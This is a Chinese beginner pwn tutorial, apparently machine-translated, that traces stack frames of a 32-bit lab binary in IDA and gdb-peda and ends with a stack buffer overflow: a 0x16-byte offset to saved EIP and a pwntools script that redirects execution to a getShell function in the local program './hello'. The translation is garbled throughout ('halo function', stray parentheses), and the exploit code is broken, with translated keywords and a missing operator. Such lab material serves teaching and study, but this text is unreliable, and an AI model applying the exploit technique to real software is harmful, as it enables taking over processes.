春秋linux_pwn入门教程再现的堆栈溢出基础
演示过程概述
1:
主函数
2:
晕圈函数
3:
get shell函数
函数的堆栈和外栈
1:
F2断点是呼叫助手
开始IDA远程调试F9运行
其中包含EIP=0x080484D9、要执行的下一个命令、ESP=0xFF80EA90、堆栈顶部地址、EBP=0xFF80EA98和堆栈底部地址。
2 :
确保EIP始终指向下一个要执行的命令。
查看EIP值是否修改与呼叫帮助下的【mov eax,0】相对应的地址以跳过呼叫帮助
F9驾驶
IDA卡死了,远程动态调试失败。 【动态调试还是选择OD或gdb比较合适,IDA作为静态分析使用也可以】
基于gdb-peda的验证
显示eip地址
执行审阅
3 :
验证堆栈的特点是向低地址增长
当前EBP=0xffffd138,ESP=0xffffd12c。
当前EBP=0xffffd138,ESP=0xffffd128。
从两张照片来看,ESP指向堆栈的顶部,向低地址发展。 EIP继续推入堆栈,ESP继续减少4,指向新堆栈的顶部。
堆栈的另一个特征是,对于保存在堆栈中的要素,后退先入先出(先出后出)。
4 :
函数堆栈
当前的main函数即将运行光晕函数(0x80484d9 )。 运行光晕函数后,以下命令为0x80484de
进入晕函数,EIP执行晕函数的第一个命令。 EBP=0xffffd168,ESP=0xffffd15c。
ESP保存以下之前不在hello函数中的命令0x80484de,并将其放入堆栈中:
继续,在原始ESP-4之后,新的ESP=0xffffd158指向新堆栈的顶部。
ESP中保存了原始EBP的值=0xffffd168
继续,【mov ebp,esp】将当前esp的值=0xffffd168分配给ebp。
EBP保存当前堆栈的底部并进入堆栈。
接着,用【sub esp,0x18】扩展堆栈帧,同时指向新的堆栈顶部。 当前EBP=0xffffd158,ESP=0xffffd140。
当前堆栈存储原始EIP和原始EBP。
堆栈底部和堆栈顶部保持不变,【mov DWORD PTR [ebp-0xe],0x0】和【mov DWORD PTR [ebp-0xa],0x0】将0x00引入堆栈。
通过【sub esp.0x4】(ESP=0xffffd13c ),开拓新的堆栈帧。
【push0x64】向堆栈内按0x64,ESP=0xffffd13c-4=0xffffd138指向0x64。
指定地址为eax,将eax推入堆栈,然后推入0x0。 同时,ESP指向新堆栈的顶端。
运行read函数,在堆栈中输入8个a
当前函数堆栈框架的分布如下:
eax保存enter,ebx和edi保存0x0,edx保存0x64,ecx保存输入的8个局部变量a。 那个在0xffffd146上。
接着,改变堆栈顶ESP,变换寄存器值,执行print函数。
5 () ) ) )。
函数堆栈
执行leave命令,返回【sub esp,0x18】扩展堆栈帧,EBP=0xffffd158保存并在恢复之前使用原始EBP数据,使之处于ESP=0xffffd140的状态。
运行ret命令并返回到刚进入hello函数的状态时,原始EIP数据(下一个要执行的命令)将保存在EBP恢复=0xffffd168、ESP=0xffffd15c中。
堆栈帧将被丢弃。 返回主函数。
EBP、ESP和EIP返回主函数的状态。
6 :
函数的堆栈和外堆栈的所有进程图标
POC
根据read(0、buf、0x64 ),堆栈中的布局如下图所示,局部变量输入的起始地址为0xffffd146。
在中,从旧EIP保存的地址到本地变量输入的起始地址,共有0xfffd15c-0xfffd146=hex(22 )=0x16字节。
由于输入的区域为0x64,因此输入0x16的数据将复盖存储后面4个字节的EIP(32位,因此为4字节)
EXP
能够覆盖存储的EIP意味着能够接管进程的执行进程并执行所需的功能(例如,getShell函数)。
查找get shell中的地址
1
2
3
4
5来自pwn导入*
p=处理('./hello ' ) )。
payload='a'*0x16p32(0x804846b ) ) ) ) ) ) ) ) )。
p.sendline(payload ) )。
p .交互()。